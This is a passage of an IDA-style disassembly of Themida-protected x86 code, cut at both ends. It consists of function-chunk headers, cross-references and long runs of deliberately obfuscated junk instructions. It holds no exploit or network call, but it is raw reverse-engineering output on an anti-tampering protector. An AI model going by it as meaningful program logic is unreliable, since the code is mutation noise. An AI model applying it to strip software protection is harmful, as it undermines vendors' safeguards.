0059674C SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00596786 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005967BC SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00596A94 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00596BCA SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00596CC9 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 00596F17 SIZE 00000031 BYTES ; FUNCTION CHUNK AT 00596F86 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 005971BC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00597291 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00597634 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0059774E SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005977E9 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00597864 SIZE 00000029 BYTES ; FUNCTION CHUNK AT 00597A0A SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00597C65 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00597C85 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00597CBB SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00597E13 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00597E38 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00597E52 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00598018 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00598030 SIZE 0000002F BYTES push ebx jmp loc_58F970 sub_58C17E endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_58C184: ; CODE XREF: Themida_:00590BC3j push ecx jmp loc_596D3C ; --------------------------------------------------------------------------- loc_58C18A: ; CODE XREF: Themida_:0058B06Bj and eax, ecx mov ecx, [esp] add esp, 4 and eax, 39252863h sub eax, 823FFFCh add ebp, eax mov eax, [esp] add esp, 4 jmp loc_594E15 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58C1AC: ; CODE XREF: sub_58C17E+BAEFj push 2157h mov [esp+2+var_4+2], edx mov edx, 3E7C4CF4h xchg eax, edx inc eax jmp loc_58C9E9 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- push dword ptr [esp] pop ecx jmp loc_590815 ; --------------------------------------------------------------------------- lodsd xor eax, ebx push ebx push 17812059h jmp loc_594FBE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58C1D7: ; CODE XREF: sub_58C17E+1FCAj mov esp, [esp+2+var_4+2] push 4969h mov [esp+6+var_8+2], ebx mov ebx, 25DE7A5Dh add ebx, 75137FEDh jbe loc_593650 sub ebx, 313F7FA4h not ebx xor ebx, 964D8558h and eax, ebx jmp loc_5958DF ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591059 loc_58C208: ; CODE XREF: sub_591059+143Aj shl esi, 2 jmp loc_58DF4E ; END OF FUNCTION CHUNK FOR sub_591059 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5966C1 loc_58C210: ; CODE XREF: sub_5966C1-100Cj add eax, edx jmp loc_58E524 ; END OF FUNCTION CHUNK FOR sub_5966C1 ; --------------------------------------------------------------------------- loc_58C217: ; CODE XREF: Themida_:0058F2FFj push esi mov esi, 0FFFFFFFFh add ebx, 5FBB4C82h add ebx, esi jmp loc_590084 ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_58AD15 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_58C233: ; CODE XREF: sub_590467+7566j mov edi, 4 add esi, 5EF40639h jmp loc_593842 ; --------------------------------------------------------------------------- loc_58C243: ; CODE XREF: sub_590467-7ABj pop ebx xor ecx, [esp+0] xor [esp+0], ecx xor ecx, [esp+0] jmp loc_58F500 ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_58C252: ; CODE XREF: sub_58F5B5+2D45j xchg edx, [esp-8+arg_4] pop esp jmp loc_5967C8 ; --------------------------------------------------------------------------- loc_58C25B: ; CODE XREF: sub_58F5B5+5BE1j pop ebx push ebx jmp sub_591059 ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- loc_58C262: ; CODE XREF: Themida_:0058F00Ej xchg ecx, [esp] mov esp, [esp] mov eax, [esp] push esi mov esi, esp add esi, 4 push ebp mov ebp, 54082AB2h sub esp, 4 mov [esp], ebp push edx pop ebp pop edx not edx xchg edx, ebp jmp loc_58F1C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_58C28C: ; CODE XREF: sub_590010-222Dj mov esi, 0B66687Eh shl esi, 3 xor esi, 6FD41C3Ah neg esi dec esi xor esi, 0CB18A031h jmp loc_58C2D1 ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- loc_58C2A8: ; CODE XREF: Themida_:0058DE17j pop ecx not eax not eax add eax, 0BD67076h sub esi, eax pop eax pop ebx xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp jmp loc_595208 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595E21 loc_58C2C5: ; CODE XREF: sub_595E21-3275j mov ecx, [esp+0] add esp, 4 push ebx jmp loc_58F4B2 ; END OF FUNCTION CHUNK FOR sub_595E21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_58C2D1: ; CODE XREF: sub_590010-3D6Dj ; Themida_:0059293Bj add edx, esi jmp loc_58EE00 ; --------------------------------------------------------------------------- loc_58C2D8: ; CODE XREF: sub_590010+19B7j neg eax jmp loc_59240C ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58D99C loc_58C2DF: ; CODE XREF: sub_58D99C+4D39j and eax, 51F53A7Fh jg loc_58C3BC xor eax, 6593422Ch mov ebx, eax pop eax xor ebp, ebx pop ebx push ebp mov ebx, [esp+0] loc_58C2F9: ; CODE XREF: sub_58BA12+7458j push eax mov eax, esp add eax, 4 add eax, 4 push eax push [esp+8+var_4] pop eax pop [esp+8+var_8] pop esp add ebx, eax push edx mov edx, 3F794FEAh add ebx, edx pop edx xor edx, eax jmp loc_58A2CE ; END OF FUNCTION CHUNK FOR sub_58D99C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58C320: ; CODE XREF: sub_58C17E-137Cj mov [esp+4+var_4], ecx push 541Fh mov [esp+8+var_8], edx sub esp, 4 mov [esp+0Ch+var_C], ecx jmp loc_58AADC ; --------------------------------------------------------------------------- loc_58C336: ; CODE XREF: sub_58C17E+17AEj xchg esi, [esp+0Ch+var_C] pop esp jmp loc_58A2CE ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_58C33F: ; CODE XREF: Themida_:0058A90Aj add esp, 2 sub dl, bh add dl, 90h pop ebx jmp loc_595FC4 ; --------------------------------------------------------------------------- loc_58C34D: ; CODE XREF: Themida_:0058FA31j jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_58C352: ; CODE XREF: Themida_:005940A9j add esp, 4 sub esp, 4 jmp loc_58D0D8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58C360: ; CODE XREF: sub_58C17E+1E5Cj pop cx add al, bl pop ebx pop edx add bl, 37h add bl, 0C7h sub bl, al sub bl, 0C7h jmp loc_58A8AA ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_58C376: ; CODE XREF: Themida_:0058AD08j xor dh, 1 shl dh, 7 jnz loc_5947C9 jmp loc_595010 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_58C387: ; CODE XREF: sub_590010-36C5j xor ecx, 0F5D2F76h and eax, ecx push [esp-0Ch+arg_8] jmp loc_58F52E ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_58C397: ; CODE XREF: sub_590467-48BBj ; Themida_:00591BD1j pop esp jmp loc_592107 ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59762D loc_58C39D: ; CODE XREF: sub_59762D-6773j xor ecx, [esp+6+var_8+2] mov esp, [esp+6+var_8+2] jmp loc_597D35 ; END OF FUNCTION CHUNK FOR sub_59762D ; --------------------------------------------------------------------------- loc_58C3A8: ; CODE XREF: Themida_:0058BDEEj pop ebp sub esp, 4 mov [esp], edx mov edx, 0FFFFFFFFh jmp loc_591A36 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58D99C loc_58C3BC: ; CODE XREF: sub_58D99C-16B8j xor eax, 6593422Ch mov ebx, eax pop eax xor ebp, ebx pop ebx push ebp mov ebx, [esp+0] add esp, 4 jmp loc_591703 ; END OF FUNCTION CHUNK FOR sub_58D99C ; --------------------------------------------------------------------------- loc_58C3D6: ; CODE XREF: Themida_:0058B978j add esp, 4 pop esi add eax, edx push dword ptr [esp] pop edx add esp, 4 push 638Eh mov [esp], edx push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], edi push 5C9Ah mov [esp], esi mov esi, 39B247E3h jmp loc_594E68 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_58C413: ; CODE XREF: sub_590467+6BDCj mov ebp, edi mov edi, [esp-8+arg_4] jmp loc_597299 ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58C41D: ; CODE XREF: sub_58C17E+1EA9j ; sub_58C17E+711Ej mov edx, [esp+0] push ebx jmp loc_58BFF1 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_58C426: ; CODE XREF: Themida_:00595A27j shl esi, 8 shr esi, 3 and esi, 1ECF0681h xor esi, 2B3C4E4Ch sub eax, esi pop esi push ebx mov ebx, 70C70321h dec ebx shl ebx, 4 xor ebx, 5C325FF2h jmp loc_595538 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_58C450: ; CODE XREF: sub_5EC2E8-57BA7j mov ebx, esp jmp loc_5935D2 ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- loc_58C457: ; CODE XREF: Themida_:0058CA82j mov edx, 4 add ecx, edx pop edx jmp loc_58D822 ; --------------------------------------------------------------------------- loc_58C464: ; CODE XREF: Themida_:0058A98Dj mov esi, 260561DBh xor esi, 39FC1A25h not esi push eax mov eax, 663D45C9h shr eax, 8 not eax push edi mov edi, 0B9D075F7h sub eax, edi pop edi or esi, eax pop eax jmp loc_5912A6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_58C48D: ; CODE XREF: sub_5EC2E8-598D6j mov cx, word ptr [esp+30h+var_30] push ebp jmp loc_592ED8 ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_58C497: ; CODE XREF: sub_5916C4-349Dj xor ebp, ebx pop ebx xor edi, ebp pop ebp push edi mov eax, [esp-16h+arg_10+2] add esp, 4 mov edi, [esp-1Ah+arg_14+2] push esi mov esi, esp add esi, 4 add esi, 4 jmp loc_5946BF ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- loc_58C4BB: ; CODE XREF: Themida_:00596DE5j mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] jmp loc_592F8D ; --------------------------------------------------------------------------- mov ebx, 59A87DFDh neg ebx jle loc_591E40 or ebx, 1CB7621Eh jge loc_58E0EB push edx mov bh, bh loc_58C4ED: ; CODE XREF: Themida_:005924FEj mov edx, [esp] add esp, 4 jmp loc_58D9C8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595655 loc_58C4F8: ; CODE XREF: sub_595655-3031j mov edx, ebx jmp loc_58F7E2 ; END OF FUNCTION CHUNK FOR sub_595655 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_58C4FF: ; CODE XREF: sub_5916C4:loc_594CB3j or esi, 57B52F04h jmp loc_591CEE ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590B70 loc_58C50A: ; CODE XREF: sub_590B70+2BB3j jmp loc_58A2CE ; END OF FUNCTION CHUNK FOR sub_590B70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916CB loc_58C50F: ; CODE XREF: sub_5916CB+66BCj pop [esp+4+var_4] push ecx not [esp+4+var_4] jmp loc_591072 ; END OF FUNCTION CHUNK FOR sub_5916CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_58C51B: ; CODE XREF: sub_590010+4461j mov esp, [esp-8+arg_4] mov dx, word ptr [esp-8+arg_4] push edx mov edx, esp sub esp, 4 mov [esp+0], edi jmp loc_58D3B5 ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- loc_58C533: ; CODE XREF: Themida_:005920B6j mov [esp], ecx mov ecx, 63FD4B28h or ecx, 0D66C00h jmp loc_591A72 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_58C546: ; CODE XREF: sub_58F5B5+548Cj shr eax, 2 jnp loc_58EACC push edi mov edi, 0EA87F417h sub eax, edi pop edi sub esi, eax mov eax, [esp-0Ch+arg_8] push esp loc_58C55E: ; CODE XREF: Themida_:0058BFC2j sub ebx, 800C2095h add ecx, ebx pop ebx push edi mov edi, 4 sub ecx, edi mov edi, [esp-8+arg_4] jmp loc_591F17 ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- loc_58C577: ; CODE XREF: Themida_:00594A08j push 320Eh mov [esp], ecx jmp loc_58D5DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_58C584: ; CODE XREF: sub_5EC2E8-5CB9Ej push [esp+34h+var_30] jmp loc_58EEDD ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_58C58D: ; CODE XREF: sub_5916C4-4A30j pop bx pop edx push ebx jmp loc_596868 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- loc_58C596: ; CODE XREF: Themida_:0058D65Cj mov ebp, 3A4D71C1h neg ebp xor ebp, 8893CE5Fh add ebx, ebp pop ebp add ebx, edx sub ebx, 4D214060h mov [ebx], al jmp loc_591F3F ; --------------------------------------------------------------------------- loc_58C5B5: ; CODE XREF: Themida_:00594B4Aj add esp, 4 push edx jmp loc_58DCA8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58B4D6 loc_58C5BE: ; CODE XREF: sub_58B4D6+341Dj add eax, 589C7B72h push [esp+8+var_8] pop ebx jmp loc_590A68 ; END OF FUNCTION CHUNK FOR sub_58B4D6 ; --------------------------------------------------------------------------- loc_58C5CC: ; CODE XREF: Themida_:0058E8B7j push dword ptr [esp] mov eax, [esp] add esp, 4 jmp loc_58CB7F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_58C5DA: ; CODE XREF: sub_590010+8050j push edx jmp loc_58A7A8 ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_58C5E0: ; CODE XREF: sub_58F5B5:loc_58DBDFj shr eax, 6 jmp loc_58F927 ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F091 loc_58C5E8: ; CODE XREF: sub_58F091+321Cj jg loc_58CA6C not edi push 35Fh jmp loc_596F86 ; END OF FUNCTION CHUNK FOR sub_58F091 ; --------------------------------------------------------------------------- push edx ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58C5FB: ; CODE XREF: sub_58C17E-CC8j mov bl, 0Dh shr bl, 3 jmp loc_58BFD3 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595E21 loc_58C605: ; CODE XREF: sub_595E21:loc_58FD90j jmp loc_590F3F ; END OF FUNCTION CHUNK FOR sub_595E21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_58C60A: ; CODE XREF: sub_590010:loc_595ACFj dec ecx jno loc_58F12A jmp loc_58D4ED ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- mov ebx, 55AA2E27h pop esi loc_58C61C: ; CODE XREF: Themida_:00593238j mov esi, 62A6880h jmp loc_58DE67 ; --------------------------------------------------------------------------- loc_58C626: ; CODE XREF: Themida_:00593F76j sub dh, 0C0h mov cl, dh jmp loc_59377B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58C630: ; CODE XREF: sub_58C17E+AE11j xor ebx, 6B84F12Bh jmp loc_58C160 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_58C63B: ; CODE XREF: Themida_:005969B7j mov esi, [esp] add esp, 4 inc esi jl loc_58E1C2 add esi, 4C940B83h jl loc_592BA1 ; START OF FUNCTION CHUNK FOR sub_59762D loc_58C654: ; CODE XREF: sub_59762D-727Fj js loc_5908BD push edx push ebx mov ebx, 3A351BA8h mov edx, ebx pop ebx push ecx push edi mov edi, 4B2D6896h mov ecx, edi pop edi jmp loc_595716 ; END OF FUNCTION CHUNK FOR sub_59762D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595258 loc_58C673: ; CODE XREF: sub_595258-5936j sub ecx, edi pop edi push edx mov edx, 8653BADh xor edx, 220665D0h or ecx, edx pop edx sub ecx, 0AED9EECEh add esi, ecx jmp loc_58DFAC ; END OF FUNCTION CHUNK FOR sub_595258 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58C692: ; CODE XREF: sub_58C17E+539Ej pop ecx xor ecx, 39D076BAh sub eax, ecx mov ecx, [esp-6+arg_0+2] add esp, 4 jmp loc_58CDF5 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_58C6A6: ; CODE XREF: sub_5EC2E8-6093Bj jmp loc_592757 ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- mov cx, [esp] push ebp push esp mov ebp, [esp] sub esp, 4 jmp loc_5930E5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58D236 loc_58C6BC: ; CODE XREF: sub_58D236+4713j pop esp mov [esp-8+arg_4], ebx mov ebx, 2 add ebp, ebx mov ebx, [esp-8+arg_4] add esp, 4 push ebp push [esp-8+arg_8] pop ebp jmp loc_58E652 ; END OF FUNCTION CHUNK FOR sub_58D236 ; --------------------------------------------------------------------------- loc_58C6DB: ; CODE XREF: Themida_:00596065j js loc_58E392 dec edi jge loc_590EBF inc edi sub al, 85h push esi ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_58C6EC: ; CODE XREF: sub_58F5B5:loc_591961j ; Themida_:0059698Dj add esi, 4 push 6E9Bh mov [esp-4+arg_0], edi mov edi, 51FF38EDh neg edi dec edi not edi or edi, 37DE197Ah sub edi, 77FF39FBh add esi, edi jmp loc_58FDF7 ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_58C717: ; CODE XREF: sub_5EC2E8-5E521j mov ecx, edi jmp loc_590E4A ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- loc_58C71E: ; CODE XREF: Themida_:00594E08j xchg ebp, [esp] pop esp jmp loc_5979E5 ; --------------------------------------------------------------------------- loc_58C727: ; CODE XREF: Themida_:0058C784j shr ah, 1 jmp loc_595903 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916CB loc_58C72E: ; CODE XREF: sub_5916CB+34E3j add eax, 0B13531EBh jmp loc_5973A9 ; END OF FUNCTION CHUNK FOR sub_5916CB ; --------------------------------------------------------------------------- loc_58C738: ; CODE XREF: Themida_:0058F5E8j xor esi, 12BA440Ah sub ebp, esi pop esi xchg ebp, [esp] pop esp mov [esp], ecx mov ecx, 2 add edi, ecx mov ecx, [esp] push esi jmp loc_58C090 ; --------------------------------------------------------------------------- loc_58C758: ; CODE XREF: Themida_:00595F2Bj push 1DD7h jmp loc_590DBF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_58C762: ; CODE XREF: sub_58F5B5-117Dj add esp, 4 jmp loc_58BB39 ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916CB loc_58C76A: ; CODE XREF: sub_5916CB-A93j mov esp, [esp+8+var_8] and byte ptr [esp-4+arg_0], al pushf jmp loc_58A2CE ; END OF FUNCTION CHUNK FOR sub_5916CB ; --------------------------------------------------------------------------- loc_58C776: ; CODE XREF: Themida_:00591490j jge loc_594E0D add ah, 46h add ah, 1 shr ah, 1 jmp loc_58C727 ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 push ecx mov ecx, esp add ecx, 4 push ebp jmp loc_596AF8 ; --------------------------------------------------------------------------- loc_58C7A2: ; CODE XREF: Themida_:00595CC8j add dword ptr [esp], 4 pop esi sub esp, 4 mov [esp], edx jmp loc_58D582 ; --------------------------------------------------------------------------- loc_58C7B5: ; CODE XREF: Themida_:005917CBj xor edx, 3C0AB076h jmp loc_58BEC0 ; --------------------------------------------------------------------------- loc_58C7C0: ; CODE XREF: Themida_:005968BEj add dh, 0A8h jb loc_58ECAF push ecx push edx jmp loc_58CBAB ; --------------------------------------------------------------------------- pop edi add edi, edx pop edx push ebx push edi loc_58C7D6: ; CODE XREF: Themida_:005900D1j push ebp pop esi pop ebp jmp loc_5906ED ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5938B9 loc_58C7DE: ; CODE XREF: sub_5938B9+AD2j mov ebp, 4 add edi, ebp mov ebp, [esp+0] jmp loc_58E1E4 ; END OF FUNCTION CHUNK FOR sub_5938B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59762D loc_58C7ED: ; CODE XREF: sub_59762D-538Bj mov bh, 0D2h and al, bh pop ebx inc al jmp loc_59781D ; END OF FUNCTION CHUNK FOR sub_59762D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595BDA loc_58C7F9: ; CODE XREF: sub_595BDA-1191j add bh, ch mov ecx, [esp+0] jmp loc_5910AE ; END OF FUNCTION CHUNK FOR sub_595BDA ; --------------------------------------------------------------------------- loc_58C803: ; CODE XREF: Themida_:005967FDj shl ah, 3 jmp loc_5935A6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_58C80B: ; CODE XREF: sub_590467:loc_590327j sub ebp, 7E96BDFBh mov edx, ebp mov ebp, [esp-8+arg_4] add esp, 4 sub edi, edx pop edx xor edi, 8B38AA28h add esi, edi jmp loc_59373E ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- loc_58C82C: ; CODE XREF: Themida_:00592FA4j mov ebx, [esp] add esp, 4 xor ebp, 0E240C3D0h add eax, 7E903EA7h sub eax, ebp push ebp mov ebp, 7E903EA7h sub eax, ebp pop ebp push dword ptr [esp] pop ebp push edi mov edi, esp add edi, 4 jmp loc_591B70 ; --------------------------------------------------------------------------- loc_58C85D: ; CODE XREF: Themida_:00591B76j pop esp sub esp, 4 mov [esp], ebp mov ebp, 2B7C1E87h sub ebp, 1B08E839h add eax, ebp mov ebp, [esp] sub esp, 4 mov [esp], eax sub esp, 4 mov [esp], esp add dword ptr [esp], 4 mov eax, [esp] add esp, 4 jmp loc_58E0A8 ; --------------------------------------------------------------------------- loc_58C898: ; CODE XREF: Themida_:0058B8ADj push dx mov dh, 0E8h jmp loc_590F5B ; --------------------------------------------------------------------------- loc_58C8A1: ; CODE XREF: Themida_:00596C9Cj mov ecx, esp push ebp mov ebp, 63851776h not ebp xor ebp, 9C7AE88Dh sub ecx, 7D9564B1h jmp loc_595C33 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595258 loc_58C8BC: ; CODE XREF: sub_595258-9DDj xor [esp+0], edi xor edi, [esp+0] xor [esp+0], edi add edi, 1 push ebp push esp pop ebp push 2B29h mov [esp+0], edi jmp loc_596CF6 ; END OF FUNCTION CHUNK FOR sub_595258 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_58C8DB: ; CODE XREF: sub_590010+7E96j mov edx, 10CE0E75h push ecx mov ecx, 10CE0E75h mov eax, ecx pop ecx jmp loc_590CD9 ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- loc_58C8EE: ; CODE XREF: Themida_:0058AE7Aj xor esi, 0B706F184h mov ebx, esi mov esi, [esp] add esp, 4 jmp loc_58B3E9 ; --------------------------------------------------------------------------- loc_58C904: ; CODE XREF: Themida_:0058A2FDj add esp, 4 push edx jmp loc_58CB6B ; --------------------------------------------------------------------------- loc_58C90D: ; CODE XREF: Themida_:0058E768j pop bx jmp loc_595789 ; --------------------------------------------------------------------------- loc_58C914: ; CODE XREF: Themida_:0058A858j ; Themida_:00593555j inc eax jp loc_58DE92 xor eax, 7607DFB4h shr eax, 4 mov bl, 75h push eax ; START OF FUNCTION CHUNK FOR sub_592D12 loc_58C927: ; CODE XREF: sub_592D12-4BF1j not eax inc eax sub eax, 0B917BB63h and edx, eax pop eax xor edx, 59256118h neg edx sub edx, 92DB9C6Eh jmp loc_58C16D ; END OF FUNCTION CHUNK FOR sub_592D12 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_58C945: ; CODE XREF: sub_590010-58C8j or ecx, 65D0F76h jmp loc_58C387 ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_58C950: ; CODE XREF: sub_590467-11BCj add esp, 4 push 2AAFh mov [esp], edx jmp loc_5979C9 ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_592D25 loc_58C963: ; CODE XREF: sub_592D25-2801j add edx, 4 add edx, 4 xchg edx, [esp+8+var_8] pop esp push edi jmp loc_5908B3 ; END OF FUNCTION CHUNK FOR sub_592D25 ; --------------------------------------------------------------------------- mov ax, fs:[edx] jmp loc_59158C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58DBC4 loc_58C97F: ; CODE XREF: sub_58DBC4-1A96j mov esp, [esp+0] mov [esp+0], eax jmp loc_592E29 ; END OF FUNCTION CHUNK FOR sub_58DBC4 ; --------------------------------------------------------------------------- loc_58C98A: ; CODE XREF: Themida_:0059106Dj shl ecx, 7 xor ecx, 56A37E2Bh sub ecx, 69B9405Ah jmp loc_597849 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594654 loc_58C99E: ; CODE XREF: sub_594654-8571j mov esp, [esp+4+var_4] jmp loc_58B3A4 ; END OF FUNCTION CHUNK FOR sub_594654 ; --------------------------------------------------------------------------- loc_58C9A6: ; CODE XREF: Themida_:00590867j pop edi add edi, 4 add edi, 4 xchg edi, [esp] mov esp, [esp] jmp loc_59506C ; --------------------------------------------------------------------------- loc_58C9BB: ; CODE XREF: Themida_:005923A0j pop esp add al, 89h sub al, bl sub al, 89h push 67CFh mov [esp], ecx mov cl, 0Fh sub cl, 7Ah add cl, 0Ah neg cl jmp loc_58EC39 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_58C9D9: ; CODE XREF: sub_5916C4-598Ej sub ah, 0E0h jmp loc_58CA29 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- loc_58C9E1: ; CODE XREF: Themida_:0058DCDBj shr ebx, 8 jmp loc_59725F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58C9E9: ; CODE XREF: sub_58C17E+3Dj xchg eax, edx dec edx dec edx add edx, 91AC0334h jmp loc_590F16 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_58C9F7: ; CODE XREF: Themida_:0059776Ej add eax, edi sub eax, 58BF48F3h push dword ptr [esp] pop edi jmp loc_596F5B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58CA07: ; CODE XREF: sub_58C17E+B88Ej cmp eax, edx jz loc_59259A push 6E1Eh mov [esp+6+var_8+2], edx push ecx push 5855664h pop ecx sub ecx, 99D31F3h jmp loc_58B095 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_58CA29: ; CODE XREF: sub_5916C4-4CE8j add 